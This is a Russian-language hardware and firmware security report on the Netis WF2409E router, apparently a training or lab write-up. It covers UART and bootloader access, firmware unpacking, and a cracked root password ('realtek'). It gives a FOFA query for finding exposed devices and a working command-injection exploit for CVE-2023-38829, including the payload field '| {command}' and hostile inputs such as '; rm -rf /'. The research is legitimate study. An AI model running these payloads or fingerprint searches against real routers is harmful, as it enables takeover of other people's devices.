Share
## https://sploitus.com/exploit?id=70F785D7-207E-5E12-8724-1EE1251440B6
# Отчет устройства Netis WF2409E

![](images/20241110234217.png)

## 1. Обзор устройства
### 1.1 Таблица основных характеристик

| Категория                    | Параметр            | Описание                     |
| ---------------------------- | ------------------- | ---------------------------- |
| **Информация об устройстве** | Модель              | Netis WF2409E                |
|                              | Тип                 | 300Mbps Wireless N Router    |
|                              | Питание             | DC 9V/500mA                  |
|                              | Версия оборудования | V1.8                         |
|                              | Версия PCB          | PB-7189-M02G-20              |
|                              | Дата производства   | 2015-03-23                   |
|                              | Страна производства | Китай                        |
| **Сетевые идентификаторы**   | Серийный номер      | 2409EEU5B102714 V1.8         |
|                              | MAC-адрес           | W8D398DFB68                  |
|                              | SSID по умолчанию   | netis_BDFB68                 |
|                              | Пароль по умолчанию | password                     |
|                              | Адрес управления    | http://netis.cc              |
| **Аппаратные интерфейсы**    | WAN-порт            | 1 (синий RJ45)               |
|                              | LAN-порты           | 4 (черные RJ45, LAN1-4)      |
|                              | Антенны             | 3 внешние антенны            |
|                              | Разъем питания      | DC вход (PWR)                |
| **Функциональные кнопки**    | Default             | Сброс к заводским настройкам |
|                              | WPS                 | Защищенная настройка WiFi    |

### 1.2 Таблица проверки работоспособности

| Проверяемый параметр | Состояние | Примечание                      |
| -------------------- | --------- | ------------------------------- |
| Индикатор питания    | Исправен  | Стабильно горит при включении   |
| Сетевые индикаторы   | Исправны  | Мигают при подключении          |
| Состояние WAN-порта  | Исправен  | Нормальное подключение к сети   |
| Состояние LAN-портов | Исправны  | Все 4 порта работают            |
| Функция WiFi         | Исправна  | Антенны целы, сигнал нормальный |
| Функция WPS          | Исправна  | Кнопка реагирует                |
| Функция сброса       | Исправна  | Кнопка Default работает         |


### 1.3 Основные компоненты системы

![](images/硬件报告1.jpg)

| №   | Модель чипа   | Производитель | Основная функция    | Технические характеристики                                                     | Примечания                                                                                                            |
| --- | ------------- | ------------- | ------------------- | ------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------- |
| 1   | EM63A165TS-6G | EtronTech     | Системная память    | - Объем 32 Мбит<br>- Частота 166МГц<br>- Архитектура SDRAM<br>- Корпус TSOP-II | - Используется для временного хранения данных<br>- Поддерживает вычисления основного процессора                       |
| 2   | FR9886 61504  | Неизвестен    | Управление питанием | - Корпус SOIC-8<br>- Интегральная схема                                        | - DC-DC<br>- Отвечает за регулировку напряжения<br>- Обеспечивает стабильное питание системы                          |
| 3   | RTL8196E      | Realtek/RMC   | Основной процессор  | - Архитектура MIPS<br>- Дизайн SoC<br>- Произведено в Тайване                  | - Центральный процессор системы<br>- Отвечает за основные вычисления и управление<br>- Интегрированная обработка сети |
| 4   | MX25L3206E    | Macronix      | Flash-память        | - Объём 32Mb (4MB)<br>- Интерфейс SPI<br>- Корпус SOIC                         | - Хранение системной прошивки<br>- Сохранение конфигурационных данных                                                 |
| 5   | RTL8192ER     | Realtek/RMC   | Беспроводная связь  | - WiFi контроллер<br>- Корпус QFN                                              | - Обработка беспроводных сигналов<br>- Поддержка функций WiFi                                                         |





## 2. Исследование контактов
### 2.1 Подключение к устройству через последовательный порт
![](images/20241110220128.png)

![](images/20241110211430.png)





## 3. Лог загрузки, команды загрузчика и ОС
### 3.1 Анализ лога загрузки

#### Характеристики процессора

| Параметр          | Спецификация     |
| ----------------- | ---------------- |
| Модель процессора | RealTek RTL8196E |
| Архитектура       | 16-bit           |
| Тактовая частота  | 380MHz           |
| Дата компиляции   | 2014.09.29       |
#### Характеристики Flash-памяти

| Параметр        | Значение   | Шестнадцатеричное значение |
| --------------- | ---------- | -------------------------- |
| Модель чипа     | MX25L3205D | -                          |
| Общий объем     | 4MB        | 0x400000                   |
| Размер блока    | 64KB       | 0x10000                    |
| Размер сектора  | 4KB        | 0x1000                     |
| Размер страницы | 256B       | 0x100                      |
#### Информация о загрузчике

| Параметр                   | Описание                        |
| -------------------------- | ------------------------------- |
| Тип загрузчика             | Проприетарный загрузчик RealTek |
| Адрес загрузки ядра        | 0x80500000                      |
| Начальный адрес выполнения | 0x80003440                      |
| Диапазон поиска подписи    | 0x10000-0x170000                |
#### Сетевые настройки по умолчанию

| Параметр               | Значение                     |
| ---------------------- | ---------------------------- |
| IP-адрес               | 192.168.0.1                  |
| Маска подсети          | 255.255.255.0                |
| MAC-адрес              | 04:8d:38:bd:fb:69            |
| Беспроводной интерфейс | wlan0 (включая va0-va3, vxd) |
#### Информация о системном ПО

| Параметр          | Значение                |
| ----------------- | ----------------------- |
| Модель устройства | netis WF2419E_RU        |
| Версия прошивки   | V2.5.40200              |
| Дата прошивки     | 2016.09.02              |
| Версия BusyBox    | v1.00-pre8 (2015.01.23) |
#### Состояние служб

| Название службы   | Статус   | Примечание              |
| ----------------- | -------- | ----------------------- |
| DHCP-сервер       | Работает | Нормально               |
| HTTP-сервер (Boa) | Работает | Аномальные перезагрузки |
| IAPP              | Работает | IEEE 802.11f            |
| MiniIGD           | Работает | v1.08.1                 |
| mini_upnpd        | Ошибка   | Файл не найден          |
| telnetd           | Ошибка   | Файл не найден          |
| ota_init.sh       | Ошибка   | Файл не найден          |

Важно отметить, что это устройство, вероятно, не использует U-Boot. Ключевые признаки:

1. Журнал начинается непосредственно с информации о загрузке RealTek: `---RealTek(RTL8196E)at 2014.09.29-19:16+0800 v1.0 [16bit](380MHz)`
2. Отсутствуют типичные признаки загрузки U-Boot:

- Нет информации о версии U-Boot
- Нет информации об инициализации переменных окружения U-Boot
- Нет приглашения командной строки U-Boot

3. RTL8196E - это бюджетный маршрутизаторный чип от RealTek, многие устройства на его основе используют собственный загрузчик RealTek вместо U-Boot.
4. Учитывая малый объем Flash-памяти (4MB), использование облегченного загрузчика более логично. 
Фактически не удалось найти способ входа в U-boot.

### 3.2 Анализ загрузчика

#### Для входа в загрузчик необходимо удерживать клавишу Esc во время загрузки:

![](images/20241110212318.png)

#### Полный набор команд загрузчика RealTek

| Команда     | Синтаксис                      | Функция                                            |
| ----------- | ------------------------------ | -------------------------------------------------- |
| HELP        | ?                              | Показать справку                                   |
| DB/DW       | DB/DW <адрес> <длина>          | Чтение памяти побайтно/пословно                    |
| EB/EW       | EB/EW <адрес> <значение>       | Запись в память побайтно/пословно                  |
| FLR         | FLR <dst><src><length>         | Чтение данных из Flash в RAM                       |
| FLW         | FLW <dst_ROM><src_RAM><length> | Запись данных из RAM во Flash                      |
| IPCONFIG    | IPCONFIG <IP-адрес>            | Настройка IP-адреса                                |
| LOADADDR    | LOADADDR <адрес>               | Установка адреса загрузки                          |
| CMP         | CMP <dst><src><length>         | Сравнение данных в памяти                          |
| J           | J <адрес>                      | Переход к исполнению                               |
| MDIOR/MDIOW | MDIOR/W <phyid> <reg> [data]   | Чтение/запись регистров PHY                        |
| PHYR/PHYW   | PHYR/W <PHYID><reg>[data]      | Чтение/запись регистров PHY (альтернативный метод) |
| PORT1       | PORT1                          | Тест патча порта 1                                 |
| AUTOBURN    | AUTOBURN 0/1                   | Управление автоматической прошивкой                |

#### Пример чтения памяти:

Команды Bootloader :

` <RealTek> FLR 80000000 0 100 #Чтение из Flash 
 `<RealTek> DB 80000000 100 #Просмотр содержимого памяти

![](images/20241110213244.png)
![](images/20241110213400.png)

### 3.3 Анализ Shell-среды

#### Основные команды Shell

| Тип команды            | Доступные команды                            |
| ---------------------- | -------------------------------------------- |
| Базовые команды        | `.`, `:`, `cd`, `help`, `exit`               |
| Управление выполнением | `break`, `continue`, `eval`, `exec`          |
| Операции с переменными | `export`, `read`, `readonly`, `set`, `shift` |
| Управление процессами  | `times`, `trap`, `wait`                      |
| Управление правами     | `login`, `newgrp`, `umask`                   |

#### Подробная структура системных каталогов (/bin — важные инструменты)

| Категория                      | Инструменты                                         | Функция                                                                                                                     |
| ------------------------------ | --------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------- |
| Сетевые инструменты            | `iptables` `ip6tables` `brctl` `ifconfig`           | Конфигурация брандмауэра, IPv6-брандмауэр, управление мостами, настройка сетевых интерфейсов                                |
| Системное управление           | `busybox` `ps` `kill` `mount`                       | Набор основных инструментов, просмотр процессов, управление процессами, монтирование файловой системы                       |
| VPN-связь                      | `pppd` `pptp` `l2tpd` `pptpctrl`                    | Демон PPP, PPTP-клиент, демон L2TP, управление PPTP                                                                         |
| Управление беспроводной связью | `iwcontrol` `iwpriv` `wlanapp.sh` `wps_init.sh`     | Контроль беспроводной связи, приватные команды беспроводной связи, управление беспроводными приложениями, инициализация WPS |
| Скрипты брандмауэра            | `firewall.sh` `firewall_ipv6.sh` `firewall_pptp.sh` | Основной брандмауэр, IPv6-брандмауэр, PPTP-брандмауэр                                                                       |
| DHCP/DNS                       | `dhcpc.sh` `dhcpd.sh` `dnrd`                        | DHCP-клиент, DHCP-сервер, DNS-пересылка                                                                                     |
| Веб-сервис                     | `boa` `webs` `cgitest.cgi`                          | Веб-сервер, веб-управление, тест CGI                                                                                        |

#### Ключевая информация каталога /proc

| Путь          | Тип информации        | Описание                                    |
| ------------- | --------------------- | ------------------------------------------- |
| /proc/cpuinfo | Информация о CPU      | Подробная информация о процессоре           |
| /proc/meminfo | Информация о памяти   | Состояние использования системной памяти    |
| /proc/mtd     | Информация о разделах | Разделение памяти Flash                     |
| /proc/net/*   | Сетевая информация    | Состояние сетевых интерфейсов и подключений |
| /proc/sys/*   | Параметры системы     | Регулируемые параметры системы              |
| /proc/version | Информация о версии   | Информация о версии ядра                    |

#### Список процессов: 

![](images/20241110213541.png)


### 3.4 Описание основных аппаратных компонентов

| Компонент     | Описание            | Технические характеристики                                                                                                                                                                              |
| ------------- | ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| RTL8196E      | Основной процессор  | - Архитектура MIPS  <br>- Дизайн SoC  <br>- Производство в Тайване  <br>- Центральный процессор системы  <br>- Отвечает за основные вычисления и управление  <br>- Встроенные функции сетевой обработки |
| EM63A165TS-6G | Системная память    | - Объем 32 Мбит<br>- Частота 166 МГц  <br>- Архитектура SDRAM  <br>- Корпус TSOP-II  <br>- Временное хранение данных системы  <br>- Поддерживает вычисления основного процессора                        |
| MX25L3206E    | Флэш-память         | - Объем 32 Мбит (4 МБ)  <br>- Интерфейс SPI  <br>- Корпус SOIC  <br>- Хранение прошивки системы  <br>- Сохранение данных конфигурации                                                                   |
| RTL8192ER     | Беспроводная сеть   | - WiFi контроллер  <br>- Корпус QFN  <br>- Обработка беспроводных сигналов  <br>- Поддержка WiFi                                                                                                        |
| FR9886 61504  | Управление питанием | - Корпус SOIC-8  <br>- Интегральная схема  <br>- DC-DC  <br>- Отвечает за регулировку напряжения  <br>- Обеспечивает стабильное питание системы                                                         |




## 4. Анализ информации о точках монтирования

### 4.1 Получение информации о монтировании разделов

![](images/20241110220307.png)

### 4.2 В системе определено три основных точки монтирования:

- `/dev/mtdblock1` смонтирован как корневой каталог `/`
- `none` смонтирован как файловая система процессов `/proc`
- `tmpfs` смонтирован как временная файловая система `/var`

#### Детальный анализ

###### 4.2.1. Корневая файловая система

Корневая файловая система настроена следующим образом:

- Устройство: `/dev/mtdblock1`
- Тип файловой системы: squashfs
- Опции монтирования: только для чтения (ro)
- Назначение: хранение системных файлов и программ

Это указывает на использование MTD флэш-памяти в качестве носителя, при этом файлы системы защищены и оптимизированы по объему с помощью только чтения и компрессии squashfs.

##### 4.2.2 Файловая система процессов

Файловая система процессов настроена следующим образом:

- Устройство: none (виртуальная файловая система)
- Тип файловой системы: proc
- Опции монтирования: чтение-запись (rw)
- Назначение: предоставление интерфейса для доступа к информации системы и процессов

##### 4.2.3 Временная файловая система

Временная файловая система настроена следующим образом:

- Устройство: tmpfs (файловая система в памяти)
- Точка монтирования: /var
- Ограничение по размеру: 230 КБ
- Опции монтирования: чтение-запись (rw)
- Назначение: хранение временных файлов и данных во время работы

##### 4.2.4 Обнаружено, что большинство команд в системе отсутствует

![](images/20241110222434.png)
![](images/20241110222500.png)






## 5. Структура и формат прошивки
#### 5.1 Получение ВПО "netis.bin"
   
![](images/20241110235045.png)

#### 5.2 Проведения энтропийного анализа:   

`binwalk -E --save netis.bin`
   
![](images/20241110223309.png)

![](images/20241110223338.png)

#### 5.3 Анализ заголовков: 

`binwalk netis.bin`
![](images/20241110223830.png)
#### 5.4 Для выполнения распаковки используются аргументы –reM. 

И получить:
   
![](images/20241110224139.png)
#### 5.5 Таблица результатов анализа


| Файл      | Смещение (десятичное) | Смещение (шестнадцатеричное) | Описание                  | Дополнительная информация                                                                                        |
| --------- | --------------------- | ---------------------------- | ------------------------- | ---------------------------------------------------------------------------------------------------------------- |
| netis.bin | 4848                  | 0x12F0                       | Сжатые данные LZMA        | Размер словаря: 8388608 байт, размер после распаковки: 56464 байт; требуется анализ содержимого после распаковки |
| netis.bin | 206872                | 0x32818                      | Сжатые данные LZMA        | Размер словаря: 8388608 байт, размер после распаковки: 3278684 байт; содержит полное ядро Linux 2.6.30           |
| netis.bin | 1507328               | 0x170000                     | Файловая система SquashFS | Младший порядок байтов, сжатие gzip, размер: 2628241 байт                                                        |



| Смещение |          Заголовок раздела           |
| -------- | :----------------------------------: |
| 0x12F0   | ![](images/20241110224540.png) |
| 0x32818  |           ![](images/206872.png)            |
| 0x170000 |           ![](images/1507328.png)           |






## 6. Файловая система после распаковки прошивки

#### 6.1 Файловая система после распаковки:

![](images/20241110230448.png)

#### 6.2 Некоторые важные документы

##### 6.2.1 `etc/passwd:`

![](images/20241110232017.png)

Используя сервис дешифрования хэшей [https://hashes.com/en/decrypt/hash](https://hashes.com/en/decrypt/hash), пароль root был успешно восстановлен как `realtek`.

![](images/pw.png)

##### 6.2.2 `web/welcome.htm:`
Это страница веб-интерфейса по умолчанию
![](images/20241215175434.png)



## 7. Маркеры, фингерпринт для FOFA, статистика
Поиск устройств в `FOFA` через характеристики в `web/welcome.htm:`

Команды поиска:
`body="./images/logo_netis.png" && body="display:block; height:60px; float:left;"`

![](images/20241110232306.png)

![](images/20241215175733.png)

Для доступа к административной панели устройства может потребоваться аутентификация с помощью логина и пароля
![](images/认证.png)

После успешной аутентификации можно войти в административную панель
![](images/20241215175957.png)




## 8. Скрипт идентификации

Сначала с помощью команды `~/squashfs-root/web$ find` были найдены доступные директории, и с помощью `Burpsuit` была проверена их доступность:

|        | Payload                         | Code    |       | Lenth     |
| ------ | ------------------------------- | ------- | ----- | --------- |
| 1      | /cgi-bin                        | 200     |       | 167       |
| 2      | /cgi-bin/cgitest.cgi            | -       | ERROR | -         |
| 3      | /script                         | 200     |       | 168       |
| 4      | /script/init.js                 | 200     |       | 1282      |
| 5      | /script/logic.js                | 200     |       | 65677     |
| 6      | /script/menu.js                 | 200     |       | 4976      |
| 7      | /script/netcore.js              | 200     |       | 151935    |
| 8      | /script/action.js               | 200     |       | 182624    |
| 9      | /script/debug.js                | 200     |       | 28570     |
| ==10== | ==/version.txt==                | ==200== |       | ==206==   |
| ==11== | ==/update.htm==                 | ==200== |       | ==1230==  |
| 12     | /config                         | 200     |       | 168       |
| 13     | /config/language_es.js          | 200     |       | 79333     |
| 14     | /config/language_it.js          | 200     |       | 76802     |
| 15     | /config/language_id.js          | 200     |       | 74795     |
| 16     | /config/language_du.js          | 200     |       | 78782     |
| 17     | /config/language_ma.js          | 200     |       | 73594     |
| 18     | /config/language_po.js          | 200     |       | 76458     |
| 19     | /config/language_tu.js          | 200     |       | 77747     |
| 20     | /config/language_fr.js          | 200     |       | 78165     |
| 21     | /config/language_ro.js          | 200     |       | 73621     |
| 22     | /config/language_cz.js          | 200     |       | 75968     |
| 23     | /config/language_ua.js          | 200     |       | 98335     |
| 24     | /config/language_us.js          | 200     |       | 84173     |
| 25     | /config/config.js               | 200     |       | 75899     |
| 26     | /config/language_ru.js          | 200     |       | 108998    |
| 27     | /config/language_de.js          | 200     |       | 78674     |
| 28     | /config/language_pt.js          | 200     |       | 77954     |
| 29     | /config/language_cn.js          | 200     |       | 62001     |
| 30     | /config/language_tc.js          | 200     |       | 74268     |
| ~~31~~ | ~~/system_log.txt~~             | ~~404~~ |       | ~~330~~   |
| ==32== | ==/index.htm==                  | ==200== |       | ==4336==  |
| 33     | /css                            | 200     |       | 167       |
| 34     | /css/style.css                  | 200     |       | 5441      |
| 35     | /css/netcore.css                | 200     |       | 11536     |
| 36     | /css/welcome.css                | 200     |       | 6270      |
| 37     | /Config.tgz                     | 404     |       | 326       |
| 38     | /images                         | 200     |       | 168       |
| 39     | /images/first.png               | 200     |       | 838       |
| 40     | /images/icon_no.gif             | 200     |       | 240       |
| 41     | /images/top_right_bg.gif        | 200     |       | 222       |
| 42     | /images/logo_netis.png          | 200     |       | 7297      |
| 43     | /images/icon_jian.gif           | 200     |       | 239       |
| 44     | /images/show_pwd.png            | 200     |       | 1433      |
| 45     | /images/icon_no1.gif            | 200     |       | 498       |
| 46     | /images/nextt.png               | 200     |       | 1026      |
| 47     | /images/lastt.png               | 200     |       | 845       |
| 48     | /images/icon_intro_internet.gif | 200     |       | 6994      |
| 49     | /images/help_b1.gif             | 200     |       | 540       |
| 50     | /images/high.gif                | 200     |       | 10846     |
| 51     | /images/yandex_en.png           | 200     |       | 3519      |
| 52     | /images/help_b1.jpg             | 200     |       | 620       |
| 53     | /images/back.gif                | 200     |       | 379       |
| 54     | /images/icon_intro_wireless.jpg | 200     |       | 3838      |
| 55     | /images/icon_jian1.gif          | 200     |       | 490       |
| 56     | /images/left_021.jpg            | 200     |       | 558       |
| 57     | /images/edit.gif                | 200     |       | 365       |
| 58     | /images/pre.png                 | 200     |       | 1029      |
| 59     | /images/btn_mobile_setup.jpg    | 200     |       | 3053      |
| 60     | /images/icon_now.gif            | 200     |       | 242       |
| 61     | /images/top_right_bg.jpg        | 200     |       | 223       |
| 62     | /images/bg_intro_bottom.png     | 200     |       | 3562      |
| 63     | /images/favicon.ico             | 200     |       | 4458      |
| 64     | /images/btn_quick_setup.jpg     | 200     |       | 4353      |
| 65     | /images/bg_intro_top.png        | 200     |       | 3605      |
| 66     | /images/mt-link.gif             | 200     |       | 5823      |
| 67     | /images/link.gif                | 200     |       | 1045      |
| 68     | /images/del.gif                 | 200     |       | 313       |
| ==69== | ==/images/Makefile==            | ==200== |       | ==593==   |
| 70     | /images/icon_jia1.gif           | 200     |       | 490       |
| 71     | /images/blue.jpg                | 200     |       | 2584      |
| 72     | /images/normal.gif              | 200     |       | 10818     |
| 73     | /images/yandex.png              | 200     |       | 2159      |
| 74     | /images/bg_leftmenu.gif         | 200     |       | 686       |
| 75     | /images/icon_jia.gif            | 200     |       | 252       |
| 76     | /images/icon_now1.gif           | 200     |       | 487       |
| ==77== | ==/welcome.htm==                | ==200== |       | ==30155== |
| ==78== | ==/index.html==                 | ==200== |       | ==326==   |
| 79     | /help                           | 200     |       | 166       |
| ==80== | ==/backup.htm==                 | ==200== |       | ==1304==  |

Потенциальные места нахождения информации:

|        | Payload              | Code    | Lenth     |
| ------ | -------------------- | ------- | --------- |
| ==10== | ==/version.txt==     | ==200== | ==206==   |
| ==11== | ==/update.htm==      | ==200== | ==1230==  |
| ==32== | ==/index.htm==       | ==200== | ==4336==  |
| ==69== | ==/images/Makefile== | ==200== | ==593==   |
| ==77== | ==/welcome.htm==     | ==200== | ==30155== |
| ==78== | ==/index.html==      | ==200== | ==326==   |
| ==80== | ==/backup.htm==      | ==200== | ==1304==  |

После проверки, мы можем найти в файле ==/version.txt== следующую информацию:

- Версию прошивки (firmware version)
- Дату сборки (build date)
- Информацию о сервере Boa (получена из поля Server в HTTP-заголовке ответа)

![](images/信息提取.png)

Извлечение этой информации было реализовано с помощью Python-скрипта:
![](images/脚本结果1.png)




## 9. Список уязвимостей с CVSS

#### 9.1 Список уязвимостей

В настоящее время в данном устройстве обнаружены следующие уязвимости, среди которых уязвимость `CVE-2023-38829` представляет собой уязвимость внедрения команд, существующую в модуле сетевого тестирования маршрутизатора `NETIS SYSTEMS Router WF2409E` в функциях `ping` и `traceroute`. Через веб-интерфейс управления можно внедрять вредоносные команды в параметры этих функций, что приводит к выполнению команд.

| Номер уязвимости | Тип уязвимости                   | Модель | Версия                                       | Отчет/эксплойт                                                              |
| ---------------- | -------------------------------- | ------ | -------------------------------------------- | --------------------------------------------------------------------------- |
| CVE-2023-42336   | sensitive information disclosure | Netis  | wf2409e_firmware < 1.0.1.705<br>wf3409e < v4 | https://github.com/adhikara13/CVE/blob/main/netis_WF2409E/Root_Hard_Code.md |
| CVE-2023-38829   | remote code execution            | Netis  | wf2409e_firmware < 3.6.42541<br>wf3409e < -  | https://github.com/adhikara13/CVE-2023-38829-NETIS-WF2409E                  |


#### 9.2 Проверка уязвимости

Чтобы проверить наличие этой уязвимости, я вошел в панель управления маршрутизатора и протестировал уязвимость в функциях `ping` и `traceroute`.
![](images/漏洞测试.png)
Здесь я внедрил команду `cd && ls && cd etc/ && cat passwd`, которая вывела содержимое файла паролей.

Ниже представлен вывод панели управления маршрутизатора при внедрении команды, что подтверждает наличие уязвимости.
![](images/漏洞测试2.png)


#### 9.3 Оценка уязвимости по системе CVSS

Анализ CVSS 3.1 обнаруженных уязвимостей инъекции команд:

1. Оценка базовых показателей:
	- Вектор атаки (AV): Сетевой (N), так как возможна удаленная эксплуатация
	- Сложность атаки (AC): Низкая (L), так как требуется только отправка HTTP-запроса
	- Необходимые привилегии (PR): Низкие (L), требуются базовые права пользователя (аутентификация в административном интерфейсе устройства)
	- Взаимодействие с пользователем (UI): Отсутствует (N), не требуется действий пользователя
	- Область воздействия (S): Измененная (C), может влиять на другие устройства, подключенные к маршрутизатору

2. Показатели воздействия:
	- Влияние на конфиденциальность (C): Высокое (H), возможно получение полного доступа к системе
	- Влияние на целостность (I): Высокое (H), возможно изменение любых системных файлов
	- Влияние на доступность (A): Высокое (H), возможно влияние на работу устройства

![](images/20241216195449.png)

3. Временные метрики оценки:
	- Зрелость эксплойта (E): Существует функциональный эксплойт (F)
	- Уровень исправления (RL): Официальное исправление (O)
	- Достоверность отчета (RC): Подтверждено (C)

![](images/20241216195515.png)

Итоговая оценка: **9.2/10 баллов** , что относится к категории "критическая". 
**CVSS-Vector:** [AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C&version=3.1)

**Такая высокая оценка уязвимости обусловлена следующими причинами:**
- Возможность удаленной эксплуатации без специальных условий  
- Возможность получения прав root без аутентификации  
- Полное влияние на безопасность системы  
- Простота эксплуатации уязвимости




## 10.  Анализ слабой уязвимости (BO или CI)

Давайте сначала найдём файлы, где могут быть уязвимости:
`find . -name "*.cgi" ./web/cgi-bin/cgitest.cgi ./bin/cgitest.cgi`

Я предполагаю, что уязвимости могут проявляться в CGI программах, поэтому для начала попробую проанализировать файл ./web/cgi-bin/cgitest.cgi с помощью IDA Pro.

Сначала нужно найти места вызова похожих функций, через поиск удалось найти строку "killall ping".
![](images/ping-1.png)
При анализе места вызова можно увидеть, что программа после инициализации функций ping и traceroute вызывает `/bin/network_test.sh`
![](images/ping2net.png)
![](images/ping2net2.png)

А место, где находится уязвимость, как раз в модуле тестирования сети. Хорошо, нам нужно проанализировать `/bin/network_test.sh`.

#### Анализ network_test.sh 

Вначале необходимо выполнить поиск.
![](images/network_test.png)

Находим функцию network_test_sh:
![](images/20241215133452.png)
......
![](images/20241215133544.png)

При детальном анализе функции можно обнаружить модули выполнения команд и сохранения результатов.
![](images/network_test2.png)
![](images/network_test3.png)

В них: Выполнение команды ping: `ping -c %d -s %d %s -W %d > %s &`

- Параметры ping:
    - -c: количество пингов
    - -s: размер пакета данных (минус 8 байт)
    - -W: время ожидания
    - целевой IP адрес из конфигурации

Выполнение команды traceroute: `traceroute -I -m %d %s > %s &`

- Параметры traceroute:
    - -I: использование протокола ICMP
    - -m: максимальное количество прыжков
    - целевой IP адрес из конфигурации

#### Детальный анализ уязвимости
```
# Ситуация с командой ping
loc_4205B8:
lw v0, 0x108+var\_D4(sp) #прямая загрузка параметров
lw a3, 0x108+var\_D8(sp)
la t9, sprintf #прямой вызов sprintf #отсутствует проверка параметров перед sprintf
```

```
# Ситуация с командой traceroute
loc_420574:
la $t9, sprintf #также прямой вызов sprintf
lw $a2, 0x108+var_D0($sp) #также отсутствует проверка параметров
```

```
# После построения команды происходит прямое выполнение
la $t9, run_by_system
jalr $t9 ; run_by_system #прямой вызов system для выполнения команды
move $a0, $s1 #отсутствуют проверки безопасности
```
![](images/20241215141338.png)

В коде отсутствует достаточная проверка входных параметров, что создает потенциальный риск инъекции команд. Злоумышленник может управлять передаваемым IP-параметром для выполнения shell-команд, например:
```
# Нормальный ввод 192.168.0.1

# Примеры вредоносного ввода
192.168.0.1; rm -rf / #удаление файлов
192.168.0.1 & id & #выполнение произвольных команд
```




## 11. Скрипт эксплуатации

### 11.1. Обзор скрипта

Этот скрипт использует уязвимость инъекции команд в веб-интерфейсе устройства для удаленного выполнения команд путем создания специальных HTTP-запросов. Скрипт выполняет эксплуатацию уязвимости с помощью двух HTTP POST запросов: первый запрос внедряет команду, второй - получает результат выполнения.

Первый пакет (netcore_set.cgi) предназначен для: внедрения и выполнения команды
![](images/20241215173039.png)

Второй пакет (netcore_get.cgi) предназначен для: получения результата выполнения команды
![](images/20241215173145.png)

### 11.2 Первый этап: инъекция команды

1. Формирование тела POST-запроса со следующими ключевыми параметрами:

```
{ "mode_name": "netcore_set", 
	 "tools_type": "2", 
	 "tools_ip_url": f"| {command}", # точка инъекции команды 
	 "tools_cmd": "1", 
	 "net_tools_set": "1" }
```

2. URL-кодирование всех параметров
3. Отправка POST-запроса на netcore_set.cgi

### 11.3 Второй Этап: получение результатов

1. Формирование второго POST-запроса:

```
	{ "mode_name": "netcore_get",    
	  "noneed": "noneed" }
 ```

2. Отправка запроса на netcore_get.cgi
3. Парсинг поля tools_results в ответе для получения результата выполнения команды


### 11.4 Тестирование скриптов

Для тестирования скрипта я создал файл `ceshi` на хосте и попытался загрузить его на устройство через скрипт

![](images/20241215192104.png)![](images/20241215192110.png)![](images/20241215192114.png)

Успешно!

Фактически эта уязвимость позволяет получить полный контроль над устройством, так как устройство по умолчанию использует root-доступ